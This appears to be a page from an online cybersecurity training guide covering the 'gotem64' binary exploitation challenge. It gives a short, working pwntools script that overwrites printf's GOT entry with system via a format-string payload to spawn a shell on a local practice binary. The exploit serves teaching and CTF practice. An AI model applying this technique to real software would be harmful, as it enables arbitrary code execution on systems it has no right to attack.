Cyber Training Guide
CTF WriteupsOther NotesHow-To: Radare2How-To: GDB
  • Cyber Training Guide
  • 0x0: Introduction
    • git-good
    • root-1
    • root-2
    • intro
  • Binary Exploitation (pwn)
    • What is Binary Exploitation?
    • 0x1: ret2win
      • win32
      • win64
      • args
    • 0x2: shellcodes
      • location
      • shell
      • constrained
    • 0x3: format strings
      • format
      • chase
      • bbpwn
    • 0x4: stack canaries
      • canary
      • findme
    • 0x5: ROP
      • rop2win
      • split
      • callme
      • write4
      • badchars
    • 0x6: PIE
      • gimme
      • leak32
      • leak64
    • 0x7: ASLR
      • groundzero
      • stepup
      • ret2plt
    • 0x8: GOT overwrites
      • gotem
      • gotem64
  • Programming
    • What is the Programming Section?
    • 0x9: Data Serialization
      • LinkedOps
      • Tree
      • TeLeVision
    • 0xA: Programming
      • Calorie Counting
      • Hash
      • Rock Paper Scissors
      • Watch the Register
      • Supply Stacks
      • Rope Bridge
      • Mountain Climbers
  • Reverse Engineering (RE)
    • What is Reverse Engineering?
    • 0xB: Ghidra
      • hardcode
      • undo
      • snake
  • Toolkit
    • Using Pwntools
      • Establishing Connection
      • Context
      • Sending/Receiving Data
      • The ELF Class
    • My Workflow
      • Tmux
      • Vim
Powered by GitBook
On this page

Was this helpful?

  1. Binary Exploitation (pwn)
  2. 0x8: GOT overwrites

gotem64

Repeating a GOT overwrite in 64-bit.

PreviousgotemNextWhat is the Programming Section?

Last updated 1 year ago

Was this helpful?

This is the same binary as , except we're in 64-bit this time. This makes almost no change in the exploit other than changing the base address of libc and the offset of the format string.

Below is a functional exploit. Try to rebuild it independently to understand how to collect the format string offset and the libc base address.

exploit.py
from pwn import *

elf = context.binary = ELF('./gotem64')
libc = elf.libc
libc.address = 0x00007ffff7c00000
p = process()

payload = fmtstr_payload(6, {elf.got.printf : libc.sym.system})

p.recvline()
p.sendline(payload)
p.interactive()

Running this exploit gets us a shell, which gives us our flag!

gotem
3KB
gotem64.zip
archive